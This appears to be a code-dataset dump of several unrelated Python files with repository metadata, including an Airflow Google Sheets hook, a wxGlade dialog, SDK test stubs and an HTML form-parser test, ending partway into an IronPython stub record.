# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # """ This module contains a Google Sheets API hook """ from typing import Any, Dict, List, Optional from googleapiclient.discovery import build from airflow.exceptions import AirflowException from airflow.providers.google.cloud.hooks.base import CloudBaseHook class GSheetsHook(CloudBaseHook): """ Interact with Google Sheets via GCP connection Reading and writing cells in Google Sheet: https://developers.google.com/sheets/api/guides/values :param gcp_conn_id: The connection ID to use when fetching connection info. :type gcp_conn_id: str :param spreadsheet_id: The Google Sheet ID to interact with :type spreadsheet_id: str :param api_version: API Version :type api_version: str :param delegate_to: The account to impersonate, if any. For this to work, the service account making the request must have domain-wide delegation enabled. :type delegate_to: str """ def __init__( self, spreadsheet_id: str, gcp_conn_id: str = 'google_cloud_default', api_version: str = 'v4', delegate_to: Optional[str] = None ) -> None: super().__init__(gcp_conn_id, delegate_to) self.spreadsheet_id = spreadsheet_id self.gcp_conn_id = gcp_conn_id self.api_version = api_version self.delegate_to = delegate_to self._conn = None def get_conn(self) -> Any: """ Retrieves connection to Google Sheets. :return: Google Sheets services object. :rtype: Any """ if not self._conn: http_authorized = self._authorize() self._conn = build('sheets', self.api_version, http=http_authorized, cache_discovery=False) return self._conn @CloudBaseHook.catch_http_exception def get_values( self, range_: str, major_dimension: str = 'DIMENSION_UNSPECIFIED', value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: """ Gets values from Google Sheet from a single range https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/get :param range_: The A1 notation of the values to retrieve. :type range_: str :param major_dimension: Indicates which dimension an operation should apply to. DIMENSION_UNSPECIFIED, ROWS, or COLUMNS :type major_dimension: str :param value_render_option: Determines how values should be rendered in the output. FORMATTED_VALUE, UNFORMATTED_VALUE, or FORMULA :type value_render_option: str :param date_time_render_option: Determines how dates should be rendered in the output. SERIAL_NUMBER or FORMATTED_STRING :type date_time_render_option: str :return: Google Sheets API response. :rtype: Dict """ service = self.get_conn() response = service.spreadsheets().values().get( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, range=range_, majorDimension=major_dimension, valueRenderOption=value_render_option, dateTimeRenderOption=date_time_render_option ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def batch_get_values( self, ranges: List, major_dimension: str = 'DIMENSION_UNSPECIFIED', value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: """ Gets values from Google Sheet from a list of ranges https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/batchGet :param ranges: The A1 notation of the values to retrieve. :type ranges: List :param major_dimension: Indicates which dimension an operation should apply to. DIMENSION_UNSPECIFIED, ROWS, or COLUMNS :type major_dimension: str :param value_render_option: Determines how values should be rendered in the output. FORMATTED_VALUE, UNFORMATTED_VALUE, or FORMULA :type value_render_option: str :param date_time_render_option: Determines how dates should be rendered in the output. SERIAL_NUMBER or FORMATTED_STRING :type date_time_render_option: str :return: Google Sheets API response. :rtype: Dict """ service = self.get_conn() response = service.spreadsheets().values().batchGet( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, ranges=ranges, majorDimension=major_dimension, valueRenderOption=value_render_option, dateTimeRenderOption=date_time_render_option ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def update_values( self, range_: str, values: List, major_dimension: str = 'ROWS', value_input_option: str = 'RAW', include_values_in_response: bool = False, value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: """ Updates values from Google Sheet from a single range https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/update :param range_: The A1 notation of the values to retrieve. :type range_: str :param values: Data within a range of the spreadsheet. :type values: List :param major_dimension: Indicates which dimension an operation should apply to. DIMENSION_UNSPECIFIED, ROWS, or COLUMNS :type major_dimension: str :param value_input_option: Determines how input data should be interpreted. RAW or USER_ENTERED :type value_input_option: str :param include_values_in_response: Determines if the update response should include the values of the cells that were updated. :type include_values_in_response: bool :param value_render_option: Determines how values should be rendered in the output. FORMATTED_VALUE, UNFORMATTED_VALUE, or FORMULA :type value_render_option: str :param date_time_render_option: Determines how dates should be rendered in the output. SERIAL_NUMBER or FORMATTED_STRING :type date_time_render_option: str :return: Google Sheets API response. :rtype: Dict """ service = self.get_conn() body = { "range": range_, "majorDimension": major_dimension, "values": values } response = service.spreadsheets().values().update( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, range=range_, valueInputOption=value_input_option, includeValuesInResponse=include_values_in_response, responseValueRenderOption=value_render_option, responseDateTimeRenderOption=date_time_render_option, body=body ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def batch_update_values( self, ranges: List, values: List, major_dimension: str = 'ROWS', value_input_option: str = 'RAW', include_values_in_response: bool = False, value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: """ Updates values from Google Sheet for multiple ranges https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/batchUpdate :param ranges: The A1 notation of the values to retrieve. :type ranges: List :param values: Data within a range of the spreadsheet. :type values: List :param major_dimension: Indicates which dimension an operation should apply to. DIMENSION_UNSPECIFIED, ROWS, or COLUMNS :type major_dimension: str :param value_input_option: Determines how input data should be interpreted. RAW or USER_ENTERED :type value_input_option: str :param include_values_in_response: Determines if the update response should include the values of the cells that were updated. :type include_values_in_response: bool :param value_render_option: Determines how values should be rendered in the output. FORMATTED_VALUE, UNFORMATTED_VALUE, or FORMULA :type value_render_option: str :param date_time_render_option: Determines how dates should be rendered in the output. SERIAL_NUMBER or FORMATTED_STRING :type date_time_render_option: str :return: Google Sheets API response. :rtype: Dict """ if len(ranges) != len(values): raise AirflowException( "'Ranges' and and 'Lists' must be of equal length. \n \ 'Ranges' is of length: {} and \n \ 'Values' is of length: {}.".format(str(len(ranges)), str(len(values)))) service = self.get_conn() data = [] for idx, range_ in enumerate(ranges): value_range = { "range": range_, "majorDimension": major_dimension, "values": values[idx] } data.append(value_range) body = { "valueInputOption": value_input_option, "data": data, "includeValuesInResponse": include_values_in_response, "responseValueRenderOption": value_render_option, "responseDateTimeRenderOption": date_time_render_option } response = service.spreadsheets().values().batchUpdate( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, body=body ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def append_values( self, range_: str, values: List, major_dimension: str = 'ROWS', value_input_option: str = 'RAW', insert_data_option: str = 'OVERWRITE', include_values_in_response: bool = False, value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: """ Append values from Google Sheet from a single range https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/append :param range_: The A1 notation of the values to retrieve. :type range_: str :param values: Data within a range of the spreadsheet. :type values: List :param major_dimension: Indicates which dimension an operation should apply to. DIMENSION_UNSPECIFIED, ROWS, or COLUMNS :type major_dimension: str :param value_input_option: Determines how input data should be interpreted. RAW or USER_ENTERED :type value_input_option: str :param insert_data_option: Determines how existing data is changed when new data is input. OVERWRITE or INSERT_ROWS :type insert_data_option: str :param include_values_in_response: Determines if the update response should include the values of the cells that were updated. :type include_values_in_response: bool :param value_render_option: Determines how values should be rendered in the output. FORMATTED_VALUE, UNFORMATTED_VALUE, or FORMULA :type value_render_option: str :param date_time_render_option: Determines how dates should be rendered in the output. SERIAL_NUMBER or FORMATTED_STRING :type date_time_render_option: str :return: Google Sheets API response. :rtype: Dict """ service = self.get_conn() body = { "range": range_, "majorDimension": major_dimension, "values": values } response = service.spreadsheets().values().append( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, range=range_, valueInputOption=value_input_option, insertDataOption=insert_data_option, includeValuesInResponse=include_values_in_response, responseValueRenderOption=value_render_option, responseDateTimeRenderOption=date_time_render_option, body=body ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def clear(self, range_: str) -> Dict: """ Clear values from Google Sheet from a single range https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/clear :param range_: The A1 notation of the values to retrieve. :type range_: str :return: Google Sheets API response. :rtype: Dict """ service = self.get_conn() response = service.spreadsheets().values().clear( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, range=range_ ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def batch_clear(self, ranges: List) -> Dict: """ Clear values from Google Sheet from a list of ranges https://developers.google.com/sheets/api/reference/rest/v4/spreadsheets.values/batchClear :param ranges: The A1 notation of the values to retrieve. :type ranges: List :return: Google Sheets API response. :rtype: Dict """ service = self.get_conn() body = { "ranges": ranges } response = service.spreadsheets().values().batchClear( # pylint: disable=no-member spreadsheetId=self.spreadsheet_id, body=body ).execute(num_retries=self.num_retries) return response

40.489189

103

0.660437

from typing import Any, Dict, List, Optional from googleapiclient.discovery import build from airflow.exceptions import AirflowException from airflow.providers.google.cloud.hooks.base import CloudBaseHook class GSheetsHook(CloudBaseHook): def __init__( self, spreadsheet_id: str, gcp_conn_id: str = 'google_cloud_default', api_version: str = 'v4', delegate_to: Optional[str] = None ) -> None: super().__init__(gcp_conn_id, delegate_to) self.spreadsheet_id = spreadsheet_id self.gcp_conn_id = gcp_conn_id self.api_version = api_version self.delegate_to = delegate_to self._conn = None def get_conn(self) -> Any: if not self._conn: http_authorized = self._authorize() self._conn = build('sheets', self.api_version, http=http_authorized, cache_discovery=False) return self._conn @CloudBaseHook.catch_http_exception def get_values( self, range_: str, major_dimension: str = 'DIMENSION_UNSPECIFIED', value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: service = self.get_conn() response = service.spreadsheets().values().get( spreadsheetId=self.spreadsheet_id, range=range_, majorDimension=major_dimension, valueRenderOption=value_render_option, dateTimeRenderOption=date_time_render_option ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def batch_get_values( self, ranges: List, major_dimension: str = 'DIMENSION_UNSPECIFIED', value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: service = self.get_conn() response = service.spreadsheets().values().batchGet( spreadsheetId=self.spreadsheet_id, ranges=ranges, majorDimension=major_dimension, valueRenderOption=value_render_option, dateTimeRenderOption=date_time_render_option ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def update_values( self, range_: str, values: List, major_dimension: str = 'ROWS', value_input_option: str = 'RAW', include_values_in_response: bool = False, value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: service = self.get_conn() body = { "range": range_, "majorDimension": major_dimension, "values": values } response = service.spreadsheets().values().update( spreadsheetId=self.spreadsheet_id, range=range_, valueInputOption=value_input_option, includeValuesInResponse=include_values_in_response, responseValueRenderOption=value_render_option, responseDateTimeRenderOption=date_time_render_option, body=body ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def batch_update_values( self, ranges: List, values: List, major_dimension: str = 'ROWS', value_input_option: str = 'RAW', include_values_in_response: bool = False, value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: if len(ranges) != len(values): raise AirflowException( "'Ranges' and and 'Lists' must be of equal length. \n \ 'Ranges' is of length: {} and \n \ 'Values' is of length: {}.".format(str(len(ranges)), str(len(values)))) service = self.get_conn() data = [] for idx, range_ in enumerate(ranges): value_range = { "range": range_, "majorDimension": major_dimension, "values": values[idx] } data.append(value_range) body = { "valueInputOption": value_input_option, "data": data, "includeValuesInResponse": include_values_in_response, "responseValueRenderOption": value_render_option, "responseDateTimeRenderOption": date_time_render_option } response = service.spreadsheets().values().batchUpdate( spreadsheetId=self.spreadsheet_id, body=body ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def append_values( self, range_: str, values: List, major_dimension: str = 'ROWS', value_input_option: str = 'RAW', insert_data_option: str = 'OVERWRITE', include_values_in_response: bool = False, value_render_option: str = 'FORMATTED_VALUE', date_time_render_option: str = 'SERIAL_NUMBER' ) -> Dict: service = self.get_conn() body = { "range": range_, "majorDimension": major_dimension, "values": values } response = service.spreadsheets().values().append( spreadsheetId=self.spreadsheet_id, range=range_, valueInputOption=value_input_option, insertDataOption=insert_data_option, includeValuesInResponse=include_values_in_response, responseValueRenderOption=value_render_option, responseDateTimeRenderOption=date_time_render_option, body=body ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def clear(self, range_: str) -> Dict: service = self.get_conn() response = service.spreadsheets().values().clear( spreadsheetId=self.spreadsheet_id, range=range_ ).execute(num_retries=self.num_retries) return response @CloudBaseHook.catch_http_exception def batch_clear(self, ranges: List) -> Dict: service = self.get_conn() body = { "ranges": ranges } response = service.spreadsheets().values().batchClear( spreadsheetId=self.spreadsheet_id, body=body ).execute(num_retries=self.num_retries) return response

true

f73281be9ced4bbfcc2aa580105b37462d473a71

5,152

py

Python

vespa/pulse/auto_gui/manage_pulse_designs.py

vespa-mrs/vespa

6d3e84a206ec427ac1304e70c7fadf817432956b

[ "BSD-3-Clause" ]

null

vespa/pulse/auto_gui/manage_pulse_designs.py

vespa-mrs/vespa

6d3e84a206ec427ac1304e70c7fadf817432956b

[ "BSD-3-Clause" ]

4

2021-04-17T13:58:31.000Z

2022-01-20T14:19:57.000Z

vespa/pulse/auto_gui/manage_pulse_designs.py

vespa-mrs/vespa

6d3e84a206ec427ac1304e70c7fadf817432956b

[ "BSD-3-Clause" ]

3

2021-06-05T16:34:57.000Z

2022-01-19T16:13:22.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- # generated by wxGlade 0.6.5 on Mon Jul 27 15:21:25 2015 import wx # begin wxGlade: extracode # end wxGlade class MyDialog(wx.Dialog): def __init__(self, *args, **kwds): # begin wxGlade: MyDialog.__init__ kwds["style"] = kwds.get("style", 0) | wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER wx.Dialog.__init__(self, *args, **kwds) self.label_2 = wx.StaticText(self, wx.ID_ANY, "") self.label_1 = wx.StaticText(self, wx.ID_ANY, "") self.ButtonView = wx.Button(self, wx.ID_ANY, "&View...") self.ButtonClone = wx.Button(self, wx.ID_ANY, "C&lone") self.ButtonDelete = wx.Button(self, wx.ID_DELETE, "") self.ListPulseDesigns = wx.ListCtrl(self, wx.ID_ANY, style=wx.BORDER_SUNKEN | wx.LC_REPORT) self.ButtonImport = wx.Button(self, wx.ID_ANY, "&Import...") self.ButtonExport = wx.Button(self, wx.ID_ANY, "E&xport...") self.ButtonClose = wx.Button(self, wx.ID_CLOSE, "") self.__set_properties() self.__do_layout() self.Bind(wx.EVT_BUTTON, self.on_view, self.ButtonView) self.Bind(wx.EVT_BUTTON, self.on_clone, self.ButtonClone) self.Bind(wx.EVT_BUTTON, self.on_delete, self.ButtonDelete) self.Bind(wx.EVT_LIST_ITEM_ACTIVATED, self.on_pulse_design_activated, self.ListPulseDesigns) self.Bind(wx.EVT_LIST_ITEM_DESELECTED, self.on_selection_changed, self.ListPulseDesigns) self.Bind(wx.EVT_LIST_ITEM_SELECTED, self.on_selection_changed, self.ListPulseDesigns) self.Bind(wx.EVT_BUTTON, self.on_import, self.ButtonImport) self.Bind(wx.EVT_BUTTON, self.on_export, self.ButtonExport) self.Bind(wx.EVT_BUTTON, self.on_close, self.ButtonClose) # end wxGlade def __set_properties(self): # begin wxGlade: MyDialog.__set_properties self.SetTitle("Manage Pulse Designs") # end wxGlade def __do_layout(self): # begin wxGlade: MyDialog.__do_layout sizer_4 = wx.BoxSizer(wx.VERTICAL) grid_sizer_1 = wx.FlexGridSizer(3, 2, 10, 0) sizer_6 = wx.BoxSizer(wx.HORIZONTAL) sizer_5 = wx.BoxSizer(wx.VERTICAL) sizer_2 = wx.BoxSizer(wx.HORIZONTAL) sizer_1 = wx.BoxSizer(wx.HORIZONTAL) sizer_2_copy = wx.BoxSizer(wx.HORIZONTAL) grid_sizer_1.Add((20, 20), 0, 0, 0) sizer_2_copy.Add(self.label_2, 0, wx.ALIGN_CENTER_VERTICAL | wx.RIGHT, 5) sizer_2_copy.Add((20, 20), 0, 0, 0) sizer_2.Add(sizer_2_copy, 1, wx.EXPAND, 0) sizer_1.Add(self.label_1, 0, wx.ALIGN_CENTER_VERTICAL | wx.LEFT | wx.RIGHT, 5) sizer_1.Add((20, 20), 0, 0, 0) sizer_2.Add(sizer_1, 1, wx.EXPAND, 0) grid_sizer_1.Add(sizer_2, 1, wx.EXPAND, 0) sizer_5.Add(self.ButtonView, 0, wx.TOP, 5) sizer_5.Add(self.ButtonClone, 0, wx.TOP, 5) sizer_5.Add(self.ButtonDelete, 0, wx.TOP, 30) grid_sizer_1.Add(sizer_5, 0, wx.BOTTOM | wx.EXPAND | wx.LEFT | wx.RIGHT, 10) grid_sizer_1.Add(self.ListPulseDesigns, 1, wx.EXPAND, 0) grid_sizer_1.Add((20, 20), 0, 0, 0) sizer_6.Add(self.ButtonImport, 0, 0, 0) sizer_6.Add(self.ButtonExport, 0, wx.LEFT, 10) sizer_6.Add((20, 20), 1, wx.EXPAND, 0) sizer_6.Add(self.ButtonClose, 0, 0, 0) grid_sizer_1.Add(sizer_6, 0, wx.BOTTOM | wx.EXPAND, 10) grid_sizer_1.AddGrowableRow(1) grid_sizer_1.AddGrowableCol(1) sizer_4.Add(grid_sizer_1, 1, wx.ALL | wx.EXPAND, 10) self.SetSizer(sizer_4) sizer_4.Fit(self) self.Layout() # end wxGlade def on_view(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_view' not implemented!") event.Skip() def on_clone(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_clone' not implemented!") event.Skip() def on_delete(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_delete' not implemented!") event.Skip() def on_selection_changed(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_selection_changed' not implemented!") event.Skip() def on_pulse_design_activated(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_pulse_design_activated' not implemented!") event.Skip() def on_import(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_import' not implemented!") event.Skip() def on_export(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_export' not implemented!") event.Skip() def on_close(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_close' not implemented!") event.Skip() # end of class MyDialog if __name__ == "__main__": app = wx.PySimpleApp(0) wx.InitAllImageHandlers() DialogManagePulseDesigns = MyDialog(None, -1, "") app.SetTopWindow(DialogManagePulseDesigns) DialogManagePulseDesigns.Show() app.MainLoop()

42.578512

100

0.65528

import wx class MyDialog(wx.Dialog): def __init__(self, *args, **kwds): kwds["style"] = kwds.get("style", 0) | wx.DEFAULT_DIALOG_STYLE | wx.RESIZE_BORDER wx.Dialog.__init__(self, *args, **kwds) self.label_2 = wx.StaticText(self, wx.ID_ANY, "") self.label_1 = wx.StaticText(self, wx.ID_ANY, "") self.ButtonView = wx.Button(self, wx.ID_ANY, "&View...") self.ButtonClone = wx.Button(self, wx.ID_ANY, "C&lone") self.ButtonDelete = wx.Button(self, wx.ID_DELETE, "") self.ListPulseDesigns = wx.ListCtrl(self, wx.ID_ANY, style=wx.BORDER_SUNKEN | wx.LC_REPORT) self.ButtonImport = wx.Button(self, wx.ID_ANY, "&Import...") self.ButtonExport = wx.Button(self, wx.ID_ANY, "E&xport...") self.ButtonClose = wx.Button(self, wx.ID_CLOSE, "") self.__set_properties() self.__do_layout() self.Bind(wx.EVT_BUTTON, self.on_view, self.ButtonView) self.Bind(wx.EVT_BUTTON, self.on_clone, self.ButtonClone) self.Bind(wx.EVT_BUTTON, self.on_delete, self.ButtonDelete) self.Bind(wx.EVT_LIST_ITEM_ACTIVATED, self.on_pulse_design_activated, self.ListPulseDesigns) self.Bind(wx.EVT_LIST_ITEM_DESELECTED, self.on_selection_changed, self.ListPulseDesigns) self.Bind(wx.EVT_LIST_ITEM_SELECTED, self.on_selection_changed, self.ListPulseDesigns) self.Bind(wx.EVT_BUTTON, self.on_import, self.ButtonImport) self.Bind(wx.EVT_BUTTON, self.on_export, self.ButtonExport) self.Bind(wx.EVT_BUTTON, self.on_close, self.ButtonClose) def __set_properties(self): self.SetTitle("Manage Pulse Designs") def __do_layout(self): sizer_4 = wx.BoxSizer(wx.VERTICAL) grid_sizer_1 = wx.FlexGridSizer(3, 2, 10, 0) sizer_6 = wx.BoxSizer(wx.HORIZONTAL) sizer_5 = wx.BoxSizer(wx.VERTICAL) sizer_2 = wx.BoxSizer(wx.HORIZONTAL) sizer_1 = wx.BoxSizer(wx.HORIZONTAL) sizer_2_copy = wx.BoxSizer(wx.HORIZONTAL) grid_sizer_1.Add((20, 20), 0, 0, 0) sizer_2_copy.Add(self.label_2, 0, wx.ALIGN_CENTER_VERTICAL | wx.RIGHT, 5) sizer_2_copy.Add((20, 20), 0, 0, 0) sizer_2.Add(sizer_2_copy, 1, wx.EXPAND, 0) sizer_1.Add(self.label_1, 0, wx.ALIGN_CENTER_VERTICAL | wx.LEFT | wx.RIGHT, 5) sizer_1.Add((20, 20), 0, 0, 0) sizer_2.Add(sizer_1, 1, wx.EXPAND, 0) grid_sizer_1.Add(sizer_2, 1, wx.EXPAND, 0) sizer_5.Add(self.ButtonView, 0, wx.TOP, 5) sizer_5.Add(self.ButtonClone, 0, wx.TOP, 5) sizer_5.Add(self.ButtonDelete, 0, wx.TOP, 30) grid_sizer_1.Add(sizer_5, 0, wx.BOTTOM | wx.EXPAND | wx.LEFT | wx.RIGHT, 10) grid_sizer_1.Add(self.ListPulseDesigns, 1, wx.EXPAND, 0) grid_sizer_1.Add((20, 20), 0, 0, 0) sizer_6.Add(self.ButtonImport, 0, 0, 0) sizer_6.Add(self.ButtonExport, 0, wx.LEFT, 10) sizer_6.Add((20, 20), 1, wx.EXPAND, 0) sizer_6.Add(self.ButtonClose, 0, 0, 0) grid_sizer_1.Add(sizer_6, 0, wx.BOTTOM | wx.EXPAND, 10) grid_sizer_1.AddGrowableRow(1) grid_sizer_1.AddGrowableCol(1) sizer_4.Add(grid_sizer_1, 1, wx.ALL | wx.EXPAND, 10) self.SetSizer(sizer_4) sizer_4.Fit(self) self.Layout() def on_view(self, event): print("Event handler `on_view' not implemented!") event.Skip() def on_clone(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_clone' not implemented!") event.Skip() def on_delete(self, event): print("Event handler `on_delete' not implemented!") event.Skip() def on_selection_changed(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_selection_changed' not implemented!") event.Skip() def on_pulse_design_activated(self, event): print("Event handler `on_pulse_design_activated' not implemented!") event.Skip() def on_import(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_import' not implemented!") event.Skip() def on_export(self, event): print("Event handler `on_export' not implemented!") event.Skip() def on_close(self, event): # wxGlade: MyDialog.<event_handler> print("Event handler `on_close' not implemented!") event.Skip() if __name__ == "__main__": app = wx.PySimpleApp(0) wx.InitAllImageHandlers() DialogManagePulseDesigns = MyDialog(None, -1, "") app.SetTopWindow(DialogManagePulseDesigns) DialogManagePulseDesigns.Show() app.MainLoop()

true

f73281d82427249aef51b7db781136ffb89a9860

1,042

py

Python

isi_sdk_8_1_1/test/test_providers_summary_provider_instance.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

[ "Unlicense" ]

24

2018-06-22T14:13:23.000Z

2022-03-23T01:21:26.000Z

isi_sdk_8_1_1/test/test_providers_summary_provider_instance.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

[ "Unlicense" ]

46

2018-04-30T13:28:22.000Z

2022-03-21T21:11:07.000Z

isi_sdk_8_1_1/test/test_providers_summary_provider_instance.py

mohitjain97/isilon_sdk_python

a371f438f542568edb8cda35e929e6b300b1177c

[ "Unlicense" ]

29

2018-06-19T00:14:04.000Z

2022-02-08T17:51:19.000Z

# coding: utf-8 """ Isilon SDK Isilon SDK - Language bindings for the OneFS API # noqa: E501 OpenAPI spec version: 6 Contact: sdk@isilon.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import isi_sdk_8_1_1 from isi_sdk_8_1_1.models.providers_summary_provider_instance import ProvidersSummaryProviderInstance # noqa: E501 from isi_sdk_8_1_1.rest import ApiException class TestProvidersSummaryProviderInstance(unittest.TestCase): """ProvidersSummaryProviderInstance unit test stubs""" def setUp(self): pass def tearDown(self): pass def testProvidersSummaryProviderInstance(self): """Test ProvidersSummaryProviderInstance""" # FIXME: construct object with mandatory attributes with example values # model = isi_sdk_8_1_1.models.providers_summary_provider_instance.ProvidersSummaryProviderInstance() # noqa: E501 pass if __name__ == '__main__': unittest.main()

25.414634

123

0.744722

from __future__ import absolute_import import unittest import isi_sdk_8_1_1 from isi_sdk_8_1_1.models.providers_summary_provider_instance import ProvidersSummaryProviderInstance from isi_sdk_8_1_1.rest import ApiException class TestProvidersSummaryProviderInstance(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testProvidersSummaryProviderInstance(self): s if __name__ == '__main__': unittest.main()

true

f732826458cc6b350d8bd7d018b41884c4e3e17e

50

py

Python

ineuron/Python_Assignment_2/reverse.py

niraj-kale/ineuron

f1ee3df4e666b0579a6aaec409c0557650c338da

[ "MIT" ]

null

ineuron/Python_Assignment_2/reverse.py

niraj-kale/ineuron

f1ee3df4e666b0579a6aaec409c0557650c338da

[ "MIT" ]

null

ineuron/Python_Assignment_2/reverse.py

niraj-kale/ineuron

f1ee3df4e666b0579a6aaec409c0557650c338da

[ "MIT" ]

null

word = input("Input a word : ") print(word[::-1])

16.666667

31

0.58

word = input("Input a word : ") print(word[::-1])

true

f73283321fed4349be2b954e61d0cbe802264e78

3,075

py

Python

cellpack/mgl_tools/mglutil/web/Tests/test_htmlparser.py

mesoscope/cellpack

ec6b736fc706c1fae16392befa814b5337a3a692

[ "MIT" ]

null

cellpack/mgl_tools/mglutil/web/Tests/test_htmlparser.py

mesoscope/cellpack

ec6b736fc706c1fae16392befa814b5337a3a692

[ "MIT" ]

21

2021-10-02T00:07:05.000Z

2022-03-30T00:02:10.000Z

cellpack/mgl_tools/mglutil/web/Tests/test_htmlparser.py

mesoscope/cellpack

ec6b736fc706c1fae16392befa814b5337a3a692

[ "MIT" ]

null

######################################################################### # # Date: Nov. 2002 Author: Daniel Stoffler # # Copyright: Daniel Stoffler and TSRI # ######################################################################### import sys from mglutil.regression import testplus from mglutil.web import HTMLParser from time import sleep def pause(sleepTime=0.4): ed.master.update() sleep(sleepTime) def test_ParseCGIForms(): f = open("Data/testfile.html", "r") txt = f.readlines() P = HTMLParser.ParseHTML(mode="forms") forms = P.parse(txt) f.close() # we have 4 forms in this testfile (INPUT) assert len(forms) == 4 # FORM 0: # form 0 has a text entry and a sumbit button (INPUT) assert len(list(forms[0].input.keys())) == 2 # form 0 has no name, the parser should set the name to 'form_0' assert forms[0].name == "form_0" # the method of form 0 is 'post' assert forms[0].method == "post" # the action of form 0 is http://hoohoo.ncsa.uiuc.edu/cgi-bin/post-query assert forms[0].action == "http://hoohoo.ncsa.uiuc.edu/cgi-bin/post-query" # testing the inputs: assert forms[0].input["input_0"]["type"] == "submit" assert forms[0].input["input_0"]["value"] == "Submit Query" ########################################################################## # FORM 1 # form[1] has 2 text entry, 3 checkbuttons, 7 radiobuttons, 1 submit button assert len(list(forms[1].input.keys())) == 3 # 2 text entries, 1 submit button assert len(list(forms[1].radiobutton.items())) == 2 # 2 categories assert len(forms[1].radiobutton["paymethod"]) == 5 assert len(forms[1].radiobutton["callfirst"]) == 2 # 5 + 2 = 7 assert len(list(forms[1].checkbutton.items())) == 1 # 1 category assert len(forms[1].checkbutton["topping"]) == 3 # 3 buttons ########################################################################## # FORM 2 # form[2] has 2 comboboxes (SELECT) and 2 buttons (INPUT) assert len(list(forms[2].select.keys())) == 2 assert len(list(forms[2].input.keys())) == 2 # testing comboboxes: assert len(forms[2].select["what-to-do"]["options"]) == 5 assert forms[2].select["what-to-do"]["options"][0] == "Drink Coffee" assert len(forms[2].select["who-to-do-it-with"]["options"]) == 6 assert forms[2].select["who-to-do-it-with"]["options"][-1] == "Chouck" ########################################################################## # FORM 3 # form[3] has 3 textareas (TEXTAREA) and 2 buttons (INPUT) print(forms[3].textarea) assert len(list(forms[3].textarea.items())) == 3 assert len(forms[3].input) == 2 # testing textareas: assert forms[3].textarea["positive"]["cols"] == "60" assert forms[3].textarea["positive"]["rows"] == "20" assert forms[3].textarea["username"]["text"][0] == "Your Name Here" harness = testplus.TestHarness( __name__, funs=testplus.testcollect(globals()), ) if __name__ == "__main__": print(harness) sys.exit(len(harness))

34.550562

83

0.556748

true

f73283969bf30cb0fc5192375960b26d761e5a1f

3,088

py

Python

release/stubs.min/System/Windows/Forms/__init___parts/TableLayoutCellPaintEventHandler.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

release/stubs.min/System/Windows/Forms/__init___parts/TableLayoutCellPaintEventHandler.py

YKato521/ironpython-stubs

b1f7c580de48528490b3ee5791b04898be95a9ae

[ "MIT" ]

null

release/stubs.min/System/Windows/Forms/__init___parts/TableLayoutCellPaintEventHandler.py

YKato521/ironpython-stubs

